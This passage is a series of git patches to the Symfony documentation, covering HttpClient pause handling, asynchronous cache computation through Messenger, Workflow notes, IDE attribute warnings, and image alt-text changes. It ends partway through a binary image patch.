+is implemented when using the ``MicroKernelTrait``, then the kernel will
+be automatically registered as an extension. You can learn more about it in
+the dedicated section about
+:ref:`managing configuration with extensions <components-dependency-injection-extension>`.
+
+.. versionadded:: 5.2
+
+    The automatic registration of the kernel as an extension when implementing the
+    :class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
+    was introduced in Symfony 5.2.
 
 It is also possible to implement the ``EventSubscriberInterface`` to handle
 events directly from the kernel, again it will be registered automatically::

From 516574c082dc05ca55ae0cf51dfc26884986d340 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 16:04:08 +0200
Subject: [PATCH 3717/5766] [HttpClient] Add support for pausing responses

---
 http_client.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 8fe16087680..301e3ba379d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1043,6 +1043,10 @@ following methods::
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
 
+    // the special "pause_handler" info item is a callable that allows to delay the request
+    // this helps implement delayed retries or throttling streams for example
+    $response->getInfo('pause_handler')(2);
+
 .. note::
 
     ``$response->toStream()`` is part of :class:`Symfony\\Component\\HttpClient\\Response\\StreamableInterface`.
@@ -1053,6 +1057,10 @@ following methods::
     about the response. Some of them might not be known yet (e.g. ``http_code``)
     when you'll call it.
 
+.. versionadded:: 5.2
+
+    The ``pause_handler`` info item was introduced in Symfony 5.2.
+
 .. _http-client-streaming-responses:
 
 Streaming Responses

From e7b4ff2107ef52167a5495d76bd03085a2df241d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:00:18 +0200
Subject: [PATCH 3718/5766] Tweaks

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 301e3ba379d..62fec487881 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1044,7 +1044,7 @@ following methods::
     $httpLogs = $response->getInfo('debug');
 
     // the special "pause_handler" info item is a callable that allows to delay the request
-    // this helps implement delayed retries or throttling streams for example
+    // for a given number of seconds; this allows you to delay retries, throttle streams, etc.
     $response->getInfo('pause_handler')(2);
 
 .. note::

From d9664c9f413bf25e5ea81120ecea3c010c06c96b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:01:35 +0200
Subject: [PATCH 3719/5766] Remove a versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f0aa702bcb8..53ae8db3337 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1164,10 +1164,6 @@ following methods::
     about the response. Some of them might not be known yet (e.g. ``http_code``)
     when you'll call it.
 
-.. versionadded:: 5.2
-
-    The ``pause_handler`` info item was introduced in Symfony 5.2.
-
 .. _http-client-streaming-responses:
 
 Streaming Responses

From 8797d07f049eab64eebe7286fcdf133b2d257ae2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 11:04:02 +0200
Subject: [PATCH 3720/5766] Tweak

---
 components/messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index e78daa1c8d8..25f0bcf1aa5 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -165,8 +165,8 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 
     The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
     contains a :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`,
-    which is a representation of the exception that made the message failed. This
-    exception can be retrieved with the
+    which is a representation of the exception that made the message fail. You can
+    get this exception with the
     :method:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp::getFlattenException`
     method. This exception is normalized thanks to the
     :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\Normalizer\\FlattenExceptionNormalizer`

From 47ca087f277cb12fb35354a029f4046d708c811c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 12:05:51 +0200
Subject: [PATCH 3721/5766] [Cache] Add integration with Messenger

---
 cache.rst            | 146 +++++++++++++++++++++++++++++++++++++++++++
 components/cache.rst |   2 +
 2 files changed, 148 insertions(+)

diff --git a/cache.rst b/cache.rst
index b0d65f52740..57fb5df7b9a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -837,3 +837,149 @@ When configuring multiple keys, the first key will be used for reading and
 writing, and the additional key(s) will only be used for reading. Once all
 cache items encrypted with the old key have expired, you can completely remove
 ``OLD_CACHE_DECRYPTION_KEY``.
+
+Computing Cache Values Asynchronously
+-------------------------------------
+
+.. versionadded:: 5.2
+
+    Computing cache values asynchronously with the Messenger
+    in a worker was introduced in Symfony 5.2.
+
+Combined with the :doc:`Messenger component docs </components/messenger>`, the
+Cache component allows you to compute and refresh cache values asynchronously.
+
+The :class:`Symfony\\Contracts\\Cache\\CacheInterface` enables
+`probabilistic early expiration`_, which means that sometimes, items are
+elected for early-expiration while they are still fresh. You can learn more
+about it in the :ref:`cache stampede prevention <cache_stampede-prevention>`
+section.
+
+Under classical circumstances, expired cache items are computed synchronously.
+However, with a bit of additional configuration, values computation can be
+delegated to a background worker. In this case, when an item is queried,
+its cached value is immediately returned and a
+:class:`Symfony\\Component\\Cache\\Messenger\\EarlyExpirationMessage` is
+dispatched through a Messenger bus. When this message is handled by a
+message consumer, the refreshed cache value is computed asynchronously.
+The next time the item is queried, the refreshed value will be fresh
+and returned.
+
+First, let's declare a service that will compute the item's value::
+
+    // src/Cache/CacheComputation.php
+    namespace App\Cache;
+
+    use Symfony\Contracts\Cache\ItemInterface;
+
+    class CacheComputation
+    {
+        public function compute(ItemInterface $item): string
+        {
+            $item->expiresAfter(5);
+
+            return sprintf('#%06X', mt_rand(0, 0xFFFFFF));
+        }
+    }
+
+Now, we can create a controller that will query this item::
+
+    // src/Controller/CacheController.php
+    namespace App\Controller;
+
+    use App\Cache\CacheComputation;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Contracts\Cache\CacheInterface;
+    use Symfony\Contracts\Cache\ItemInterface;
+
+    class CacheController extends AbstractController
+    {
+        /**
+         * @Route("/cache", name="cache")
+         */
+        public function index(CacheInterface $asyncCache): Response
+        {
+            // we give to the cache the service method that refreshes the item
+            $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
+
+            // ...
+        }
+    }
+
+Finally, we configure a new cache pool called ``async.cache`` that will use a
+message bus to compute values in a worker:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            cache:
+                pools:
+                    async.cache:
+                        messenger_bus: async_bus
+
+            messenger:
+                transports:
+                    async_bus: '%env(MESSENGER_TRANSPORT_DSN)%'
+                routing:
+                    Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+<container xmlns="http://symfony.com/schema/dic/services"
+           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+           xmlns:framework="http://symfony.com/schema/dic/symfony"
+           xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:cache>
+                    <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/>
+                </framework:cache>
+
+                <framework:messenger>
+                    <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
+                    <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage">
+                        <framework:sender service="async_bus"/>
+                    </framework:routing>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/framework/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Component\Cache\Messenger\EarlyExpirationMessage;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->cache()
+                ->pool('async.cache')
+                    ->earlyExpirationMessageBus('async_bus');
+
+            $framework->messenger()
+                ->transport('async_bus')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
+                ->routing(EarlyExpirationMessage::class)
+                    ->senders(['async_bus']);
+        };
+
+You can now start the consumer:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume async_bus
+
+That's it! Now, whenever an item is queried from this cache pool, its cached
+value will be immediately returned. If it is elected for early-expiration, a message is sent
+through to bus to schedule a background computation to refresh the value.
+
+.. _`probabilistic early expiration`: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
diff --git a/components/cache.rst b/components/cache.rst
index ff650ee13c3..daef6d4f5a6 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,6 +90,8 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+.. _cache_stampede-prevention:
+
 Stampede Prevention
 ~~~~~~~~~~~~~~~~~~~
 

From fdb2407f0b91efa052f144b8e3374b52a7931701 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 15:51:23 +0200
Subject: [PATCH 3722/5766] Tweaks

---
 cache.rst | 55 +++++++++++++++++++++++++++----------------------------
 1 file changed, 27 insertions(+), 28 deletions(-)

diff --git a/cache.rst b/cache.rst
index 57fb5df7b9a..8ee26d7ad18 100644
--- a/cache.rst
+++ b/cache.rst
@@ -843,29 +843,25 @@ Computing Cache Values Asynchronously
 
 .. versionadded:: 5.2
 
-    Computing cache values asynchronously with the Messenger
-    in a worker was introduced in Symfony 5.2.
-
-Combined with the :doc:`Messenger component docs </components/messenger>`, the
-Cache component allows you to compute and refresh cache values asynchronously.
-
-The :class:`Symfony\\Contracts\\Cache\\CacheInterface` enables
-`probabilistic early expiration`_, which means that sometimes, items are
-elected for early-expiration while they are still fresh. You can learn more
-about it in the :ref:`cache stampede prevention <cache_stampede-prevention>`
-section.
-
-Under classical circumstances, expired cache items are computed synchronously.
-However, with a bit of additional configuration, values computation can be
-delegated to a background worker. In this case, when an item is queried,
-its cached value is immediately returned and a
+    The feature to compute cache values asynchronously was introduced in Symfony 5.2.
+
+The Cache component uses the `probabilistic early expiration`_ algorithm to
+protect against the :ref:`cache stampede <cache_stampede-prevention>` problem.
+This means that some cache items are elected for early-expiration while they are
+still fresh.
+
+By default, expired cache items are computed synchronously. However, you can
+compute them asynchronously by delegating the value computation to a background
+worker using the :doc:`Messenger component </components/messenger>`. In this case,
+when an item is queried, its cached value is immediately returned and a
 :class:`Symfony\\Component\\Cache\\Messenger\\EarlyExpirationMessage` is
-dispatched through a Messenger bus. When this message is handled by a
-message consumer, the refreshed cache value is computed asynchronously.
-The next time the item is queried, the refreshed value will be fresh
-and returned.
+dispatched through a Messenger bus.
 
-First, let's declare a service that will compute the item's value::
+When this message is handled by a message consumer, the refreshed cache value is
+computed asynchronously. The next time the item is queried, the refreshed value
+will be fresh and returned.
+
+First, create a service that will compute the item's value::
 
     // src/Cache/CacheComputation.php
     namespace App\Cache;
@@ -878,11 +874,13 @@ First, let's declare a service that will compute the item's value::
         {
             $item->expiresAfter(5);
 
+            // this is just a random example; here you must do your own calculation
             return sprintf('#%06X', mt_rand(0, 0xFFFFFF));
         }
     }
 
-Now, we can create a controller that will query this item::
+This cache value will be requested from a controller, another service, etc.
+In the following example, the value is requested from a controller::
 
     // src/Controller/CacheController.php
     namespace App\Controller;
@@ -900,15 +898,15 @@ Now, we can create a controller that will query this item::
          */
         public function index(CacheInterface $asyncCache): Response
         {
-            // we give to the cache the service method that refreshes the item
+            // pass to the cache the service method that refreshes the item
             $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
 
             // ...
         }
     }
 
-Finally, we configure a new cache pool called ``async.cache`` that will use a
-message bus to compute values in a worker:
+Finally, configure a new cache pool (e.g. called ``async.cache``) that will use
+a message bus to compute values in a worker:
 
 .. configuration-block::
 
@@ -931,7 +929,7 @@ message bus to compute values in a worker:
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-<container xmlns="http://symfony.com/schema/dic/services"
+        <container xmlns="http://symfony.com/schema/dic/services"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:framework="http://symfony.com/schema/dic/symfony"
            xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -979,7 +977,8 @@ You can now start the consumer:
     $ php bin/console messenger:consume async_bus
 
 That's it! Now, whenever an item is queried from this cache pool, its cached
-value will be immediately returned. If it is elected for early-expiration, a message is sent
-through to bus to schedule a background computation to refresh the value.
+value will be returned immediately. If it is elected for early-expiration, a
+message will be sent through to bus to schedule a background computation to refresh
+the value.
 
 .. _`probabilistic early expiration`: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration

From a7dd42a867961eae95ffe46f44506d3966864f03 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 15:53:21 +0200
Subject: [PATCH 3723/5766] Remove a versionadded directive

---
 cache.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/cache.rst b/cache.rst
index 725d69337e1..5340d84fadc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -850,10 +850,6 @@ cache items encrypted with the old key have expired, you can completely remove
 Computing Cache Values Asynchronously
 -------------------------------------
 
-.. versionadded:: 5.2
-
-    The feature to compute cache values asynchronously was introduced in Symfony 5.2.
-
 The Cache component uses the `probabilistic early expiration`_ algorithm to
 protect against the :ref:`cache stampede <cache_stampede-prevention>` problem.
 This means that some cache items are elected for early-expiration while they are

From 97a168c76fc93e154b89c226b8c5354660938c8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 16:03:24 +0200
Subject: [PATCH 3724/5766] [Cache] Mutate annotation to attribute

---
 cache.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/cache.rst b/cache.rst
index 5340d84fadc..410d842d0d3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -898,9 +898,7 @@ In the following example, the value is requested from a controller::
 
     class CacheController extends AbstractController
     {
-        /**
-         * @Route("/cache", name="cache")
-         */
+        #[Route('/cache', name: 'cache')]
         public function index(CacheInterface $asyncCache): Response
         {
             // pass to the cache the service method that refreshes the item

From 86ebf1991007c7fd2b98dcd44582a6fb31ca5263 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 1 Sep 2023 16:04:16 +0200
Subject: [PATCH 3725/5766] [Cache] Fix config key

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 8ee26d7ad18..fd8e0d225af 100644
--- a/cache.rst
+++ b/cache.rst
@@ -917,7 +917,7 @@ a message bus to compute values in a worker:
             cache:
                 pools:
                     async.cache:
-                        messenger_bus: async_bus
+                        early_expiration_message_bus: async_bus
 
             messenger:
                 transports:

From 8d326cbab5e6eaeacdc41c3285be22b2285cfe13 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 16:09:39 +0200
Subject: [PATCH 3726/5766] [Workflow] Mention that the initial marking is
 configured, not set in code

---
 workflow.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 02abd4da037..c057affbf87 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -189,6 +189,9 @@ The configured property will be used via its implemented getter/setter methods b
         {
             $this->currentPlace = $currentPlace;
         }
+
+        // you don't need to set the initial marking in the constructor or any other method;
+        // this is configured in the workflow with the 'initial_marking' option
     }
 
 .. note::
@@ -225,6 +228,8 @@ what actions are allowed on a blog post::
     use Symfony\Component\Workflow\Exception\LogicException;
 
     $post = new BlogPost();
+    // you don't need to set the initial marking with code; this is configured
+    // in the workflow with the 'initial_marking' option
 
     $workflow = $this->container->get('workflow.blog_publishing');
     $workflow->can($post, 'publish'); // False

From 0121f23c7d3b419d41f7176ae0340a2bd7544645 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Sep 2023 17:41:35 +0200
Subject: [PATCH 3727/5766] Add a note about constructor promotion and IDEs
 errors about attributes

---
 service_container/autowiring.rst |  8 ++++++++
 service_container/tags.rst       | 10 ++++++++++
 2 files changed, 18 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 85b649778bf..11a699e8a86 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -582,6 +582,13 @@ attribute like this::
         }
     }
 
+.. note::
+
+    Some IDEs will show an error when using the ``#[Target]`` as in the previous example:
+    *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
+    The reason is that thanks to `PHP constructor promotion`_ this constructor
+    argument is both a parameter and a class property. You can safely ignore this error message.
+
 .. versionadded:: 5.3
 
     The ``#[Target]`` attribute was introduced in Symfony 5.3.
@@ -737,3 +744,4 @@ over all code.
 
 .. _ROT13: https://en.wikipedia.org/wiki/ROT13
 .. _service definition prototype: https://symfony.com/blog/new-in-symfony-3-3-psr-4-based-service-discovery
+.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0bbe295cb7e..e077be252df 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -717,6 +717,14 @@ directly via PHP attributes:
             ;
         };
 
+.. note::
+
+    Some IDEs will show an error when using the ``#[TaggedIterator]`` together
+    with the `PHP constructor promotion`_:
+    *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*.
+    The reason is that those constructor arguments are both parameters and class
+    properties. You can safely ignore this error message.
+
 .. versionadded:: 5.3
 
     The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
@@ -1092,3 +1100,5 @@ be used directly on the class of the service you want to configure::
 .. versionadded:: 5.3
 
     The ``#[AsTaggedItem]`` attribute was introduced in Symfony 5.3.
+
+.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion

From 673cd601b0f77df828891b5f1ec02c8c1a06e190 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 29 Aug 2023 13:30:43 +0200
Subject: [PATCH 3728/5766] [RFC] Add alt texts to images

---
 .../contributing/docs-github-edit-page.png    | Bin 62133 -> 59383 bytes
 _images/doctrine/mapping_relations.png        | Bin 63861 -> 0 bytes
 _images/doctrine/mapping_relations.svg        | 602 ++++++++++++
 _images/doctrine/mapping_relations_proxy.png  | Bin 151397 -> 0 bytes
 _images/doctrine/mapping_relations_proxy.svg  | 926 ++++++++++++++++++
 _images/doctrine/mapping_single_entity.png    | Bin 64366 -> 0 bytes
 _images/doctrine/mapping_single_entity.svg    | 469 +++++++++
 _images/form/data-transformer-types.png       | Bin 46314 -> 0 bytes
 _images/form/data-transformer-types.svg       | 178 ++++
 _images/form/form_prepopulation_workflow.svg  | 305 +++++-
 _images/form/form_submission_workflow.svg     | 408 ++++++--
 _images/form/form_workflow.svg                | 327 +++++--
 _images/http/xkcd-full.png                    | Bin 10968 -> 0 bytes
 _images/http/xkcd-full.svg                    | 324 ++++++
 _images/http/xkcd-request.png                 | Bin 6991 -> 0 bytes
 _images/http/xkcd-request.svg                 | 191 ++++
 _images/mercure/discovery.png                 | Bin 176913 -> 0 bytes
 _images/mercure/discovery.svg                 | 294 ++++++
 _images/mercure/hub.svg                       | 196 ++++
 _images/mercure/schema.png                    | Bin 333957 -> 0 bytes
 _images/sources/README.md                     |   4 +-
 .../sources/doctrine/mapping_relations.dia    | Bin 0 -> 3114 bytes
 .../doctrine/mapping_relations_proxy.dia      | Bin 0 -> 3844 bytes
 .../doctrine/mapping_single_entity.dia        | Bin 0 -> 2338 bytes
 .../sources/form/data-transformer-types.dia   | Bin 0 -> 2007 bytes
 .../form/form_prepopulation_workflow.dia      | Bin 0 -> 1680 bytes
 .../sources/form/form_submission_workflow.dia | Bin 0 -> 1950 bytes
 _images/sources/form/form_workflow.dia        | Bin 0 -> 1871 bytes
 _images/sources/http/xkcd-full.dia            | Bin 0 -> 1612 bytes
 _images/sources/http/xkcd-request.dia         | Bin 0 -> 1380 bytes
 _images/sources/mercure/discovery.dia         | Bin 0 -> 1454 bytes
 _images/sources/mercure/hub.dia               | Bin 0 -> 1564 bytes
 components/console/helpers/cursor.rst         |   2 +-
 .../console/helpers/debug_formatter.rst       |   2 +-
 components/console/helpers/processhelper.rst  |   3 +
 components/console/helpers/progressbar.rst    |   1 +
 components/form.rst                           |   2 +-
 components/http_kernel.rst                    |  12 +-
 components/messenger.rst                      |   4 +-
 components/serializer.rst                     |  23 +-
 components/string.rst                         |   2 +-
 components/var_dumper.rst                     |   9 +
 components/workflow.rst                       |   1 +
 console.rst                                   |   1 +
 contributing/code/stack_trace.rst             |   8 +-
 contributing/documentation/overview.rst       |  10 +-
 contributing/documentation/standards.rst      |  32 +
 controller/error_pages.rst                    |  10 +-
 doctrine.rst                                  |  11 +-
 doctrine/associations.rst                     |  14 +-
 form/create_custom_field_type.rst             |  21 +-
 form/data_transformers.rst                    |   9 +-
 form/events.rst                               |  20 +-
 form/form_customization.rst                   |   6 +-
 form/form_themes.rst                          |   4 +-
 form/tailwindcss.rst                          |   2 +-
 introduction/from_flat_php_to_symfony.rst     |   4 +-
 introduction/http_fundamentals.rst            |  25 +-
 mercure.rst                                   |  15 +-
 profiler.rst                                  |   8 +-
 quick_tour/the_big_picture.rst                |   4 +-
 rate_limiter.rst                              |  22 +-
 reference/forms/types/choice.rst              |   4 +-
 .../forms/types/options/choice_label.rst.inc  |   2 +-
 .../forms/types/options/group_by.rst.inc      |   2 +-
 .../types/options/preferred_choices.rst.inc   |   2 +-
 security.rst                                  |   6 +-
 security/login_link.rst                       |   1 +
 security/remember_me.rst                      |   1 +
 setup/upgrade_major.rst                       |   4 +-
 translation.rst                               |   9 +-
 workflow.rst                                  |   1 +
 workflow/dumping-workflows.rst                |   4 +
 workflow/workflow-and-state-machine.rst       |   3 +
 74 files changed, 4267 insertions(+), 283 deletions(-)
 delete mode 100644 _images/doctrine/mapping_relations.png
 create mode 100644 _images/doctrine/mapping_relations.svg
 delete mode 100644 _images/doctrine/mapping_relations_proxy.png
 create mode 100644 _images/doctrine/mapping_relations_proxy.svg
 delete mode 100644 _images/doctrine/mapping_single_entity.png
 create mode 100644 _images/doctrine/mapping_single_entity.svg
 delete mode 100644 _images/form/data-transformer-types.png
 create mode 100644 _images/form/data-transformer-types.svg
 delete mode 100644 _images/http/xkcd-full.png
 create mode 100644 _images/http/xkcd-full.svg
 delete mode 100644 _images/http/xkcd-request.png
 create mode 100644 _images/http/xkcd-request.svg
 delete mode 100644 _images/mercure/discovery.png
 create mode 100644 _images/mercure/discovery.svg
 create mode 100644 _images/mercure/hub.svg
 delete mode 100644 _images/mercure/schema.png
 create mode 100644 _images/sources/doctrine/mapping_relations.dia
 create mode 100644 _images/sources/doctrine/mapping_relations_proxy.dia
 create mode 100644 _images/sources/doctrine/mapping_single_entity.dia
 create mode 100644 _images/sources/form/data-transformer-types.dia
 create mode 100644 _images/sources/form/form_prepopulation_workflow.dia
 create mode 100644 _images/sources/form/form_submission_workflow.dia
 create mode 100644 _images/sources/form/form_workflow.dia
 create mode 100644 _images/sources/http/xkcd-full.dia
 create mode 100644 _images/sources/http/xkcd-request.dia
 create mode 100644 _images/sources/mercure/discovery.dia
 create mode 100644 _images/sources/mercure/hub.dia

diff --git a/_images/contributing/docs-github-edit-page.png b/_images/contributing/docs-github-edit-page.png
index 9ea6c15421a545259715453086a5770e4414e760..b739497f70f84e7e864c34132b5059193e8099f2 100644
GIT binary patch
literal 59383
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
